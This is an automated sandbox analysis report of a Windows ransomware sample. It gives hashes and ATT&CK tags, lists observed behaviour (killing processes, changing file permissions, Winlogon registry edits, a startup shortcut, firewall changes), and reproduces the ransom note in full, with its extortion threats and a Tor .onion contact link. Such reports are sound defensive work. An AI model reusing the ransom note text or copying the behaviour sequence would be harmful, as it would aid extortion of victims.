2481bcb7380b038e84a6052a3cc42fab8e791cf1dffaefe783398a843af68c22

Analysis

max time kernel
115s
max time network
56s
platform
windows10_x64
resource
win10v20210408
submitted
28-05-2021 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Size

290KB
MD5

a6dcf23059f6e61fa683907c47baf73e
SHA1

1d55396b26d97b18256513607dcbe3f308569d5b
SHA256

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3
SHA512

72ef9997b814807e677e7861a94de3c8c2b7cb350ab79c887de61f505f23ebc2e3db177b34e86f1dedb3017f468e5c6c0f34d188c574e4cbe20410ff1bf596f7

Score

10^/10

discovery evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: 1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site. 2. Press "Download Tor", then press "Download Tor Browser Bundle", install it. 3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD and paste it in the Tor browser. 7. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: OP410sm/Zu/hwIaK+r04opH63hmJ6HYEJ3vx14YZ3Xrdmvn9PUkLTUIBcLi1fPBhnKuX2wZmofEzPpHZKxo5GzMml88FOa3FwAoY4JK8KvlC2Lge4NYk0rmrSTYspFXUHLkhA3scXzyu9C0Qb8EnHW6TvFX7zkyuQ8b4vfbSER4rKxcx9DTPJByns6ju7+Rme//9I3UKR58o0w9L9JnudfnAyupCiGR0pqIFbtsxIWmPmepLhuOaootyhYF5GQ0gUbZdE9WjIcHJs4wVW7f2h2GDN9F0KPQtnMxK6bsCxubXNFq0osz/6XgqkdZF21YyxqR3Wvi3LO0189yHoebhRgIo8W1K2SO1J3oM5vikUDxZvR03dxVm+6OkEn8dcI9tcjjCyv2V5ENJ35dn2FUoXn29GomorLuEAmI8yTQ+ZwFBPr3p9Fu1PVY1vqMOUtfR4qPUeESQTvP8rDSqR+44bB1aM2UQsS1v7iGQ27OXW9WOpV0jY0nl+wSKbsVWfUn9wGulDvgMgMYiPZyWPPfYFf0yYN3gsKPgqQBENVjXTFIZ6uzvEdok6WJBMwZ9o9BOUNNXu8RUUw1hMX8UE48vXpEVA5zv6ySGWQAQhzljrShrFDbqcAmya1/Tu4bqPDt4h22/yC0m1jOM4UKIiREeDyZLC/Ir7623L5McbR32dRM=

URLs

http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after itâ€™s installation. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. It doesn't matter to us what you choose. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: 1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site. 2. Press "Download Tor", then press "Download Tor Browser Bundle", install it. 3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD and paste it in the Tor browser. 7. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: OP410sm/Zu/hwIaK+r04opH63hmJ6HYEJ3vx14YZ3Xrdmvn9PUkLTUIBcLi1fPBhnKuX2wZmofEzPpHZKxo5GzMml88FOa3FwAoY4JK8KvlC2Lge4NYk0rmrSTYspFXUHLkhA3scXzyu9C0Qb8EnHW6TvFX7zkyuQ8b4vfbSER4rKxcx9DTPJByns6ju7+Rme//9I3UKR58o0w9L9JnudfnAyupCiGR0pqIFbtsxIWmPmepLhuOaootyhYF5GQ0gUbZdE9WjIcHJs4wVW7f2h2GDN9F0KPQtnMxK6bsCxubXNFq0osz/6XgqkdZF21YyxqR3Wvi3LO0189yHoebhRgIo8W1K2SO1J3oM5vikUDxZvR03dxVm+6OkEn8dcI9tcjjCyv2V5ENJ35dn2FUoXn29GomorLuEAmI8yTQ+ZwFBPr3p9Fu1PVY1vqMOUtfR4qPUeESQTvP8rDSqR+44bB1aM2UQsS1v7iGQ27OXW9WOpV0jY0nl+wSKbsVWfUn9wGulDvgMgMYiPZyWPPfYFf0yYN3gsKPgqQBENVjXTFIZ6uzvEdok6WJBMwZ9o9BOUNNXu8RUUw1hMX8UE48vXpEVA5zv6ySGWQAQhzljrShrFDbqcAmya1/Tu4bqPDt4h22/yC0m1jOM4UKIiREeDyZLC/Ir7623L5McbR32dRM=

URLs

http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD

Signatures

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Drops startup file 1 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

Modifies file permissions 1 TTPs 3 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

3380 icacls.exe
2152 icacls.exe
3260 icacls.exe

pid	process
3380	icacls.exe
2152	icacls.exe
3260	icacls.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1368	taskkill.exe
3572	taskkill.exe
768	taskkill.exe
200	taskkill.exe
2264	taskkill.exe
2336	taskkill.exe
2692	taskkill.exe
1272	taskkill.exe
1984	taskkill.exe
3864	taskkill.exe
416	taskkill.exe
3620	taskkill.exe
3572	taskkill.exe
2148	taskkill.exe
2340	taskkill.exe
412	taskkill.exe
2152	taskkill.exe
2192	taskkill.exe
2280	taskkill.exe
2368	taskkill.exe
1856	taskkill.exe
2084	taskkill.exe
1544	taskkill.exe
3840	taskkill.exe
4084	taskkill.exe
2976	taskkill.exe
1152	taskkill.exe
3380	taskkill.exe
3864	taskkill.exe
3908	taskkill.exe
2120	taskkill.exe
1820	taskkill.exe
2368	taskkill.exe
580	taskkill.exe
3940	taskkill.exe
3260	taskkill.exe
736	taskkill.exe
2648	taskkill.exe
1544	taskkill.exe
492	taskkill.exe
736	taskkill.exe
3376	taskkill.exe
748	taskkill.exe
1768	taskkill.exe
1156	taskkill.exe
416	taskkill.exe
2148	taskkill.exe
412	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3344 reg.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3908 PING.EXE

pid	process
3344	reg.exe

pid	process
3908	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

pid	process
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Token: SeDebugPrivilege	3260	taskkill.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	2340	taskkill.exe
Token: SeDebugPrivilege	412	taskkill.exe
Token: SeDebugPrivilege	736	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	2648	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	1820	taskkill.exe
Token: SeDebugPrivilege	416	taskkill.exe
Token: SeDebugPrivilege	768	taskkill.exe
Token: SeDebugPrivilege	2368	taskkill.exe
Token: SeDebugPrivilege	3620	taskkill.exe
Token: SeDebugPrivilege	200	taskkill.exe
Token: SeDebugPrivilege	2084	taskkill.exe
Token: SeDebugPrivilege	2336	taskkill.exe
Token: SeDebugPrivilege	2692	taskkill.exe
Token: SeDebugPrivilege	3380	taskkill.exe
Token: SeDebugPrivilege	2152	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	580	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	3940	taskkill.exe
Token: SeDebugPrivilege	2264	taskkill.exe
Token: SeDebugPrivilege	2192	taskkill.exe
Token: SeDebugPrivilege	3908	taskkill.exe
Token: SeDebugPrivilege	2280	taskkill.exe
Token: SeDebugPrivilege	416	taskkill.exe
Token: SeDebugPrivilege	2368	taskkill.exe
Token: SeDebugPrivilege	2120	taskkill.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	492	taskkill.exe
Token: SeDebugPrivilege	412	taskkill.exe
Token: SeDebugPrivilege	3376	taskkill.exe
Token: SeDebugPrivilege	748	taskkill.exe
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	736	taskkill.exe
Token: SeDebugPrivilege	1856	taskkill.exe
Token: SeDebugPrivilege	1768	taskkill.exe
Token: SeDebugPrivilege	1272	taskkill.exe
Token: SeDebugPrivilege	1368	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	3840	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

pid	process
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

pid	process
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

description	pid	process	target process
PID 852 wrote to memory of 3260	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3260	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1248	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	reg.exe
PID 852 wrote to memory of 1248	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	reg.exe
PID 852 wrote to memory of 3344	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	reg.exe
PID 852 wrote to memory of 3344	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	reg.exe
PID 852 wrote to memory of 1448	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	schtasks.exe
PID 852 wrote to memory of 1448	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	schtasks.exe
PID 852 wrote to memory of 2792	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	cmd.exe
PID 852 wrote to memory of 2792	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	cmd.exe
PID 852 wrote to memory of 1560	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 1560	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 1116	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 1116	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 2176	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 2176	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 3860	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 3860	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 4056	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 4056	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 492	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 492	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 3172	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	cmd.exe
PID 852 wrote to memory of 3172	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	cmd.exe
PID 852 wrote to memory of 208	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 208	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 4044	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 4044	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	sc.exe
PID 852 wrote to memory of 2308	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	netsh.exe
PID 852 wrote to memory of 2308	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	netsh.exe
PID 852 wrote to memory of 2148	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2148	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1156	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1156	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2340	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2340	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 412	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 412	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 736	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 736	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1984	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1984	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3864	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3864	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3572	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
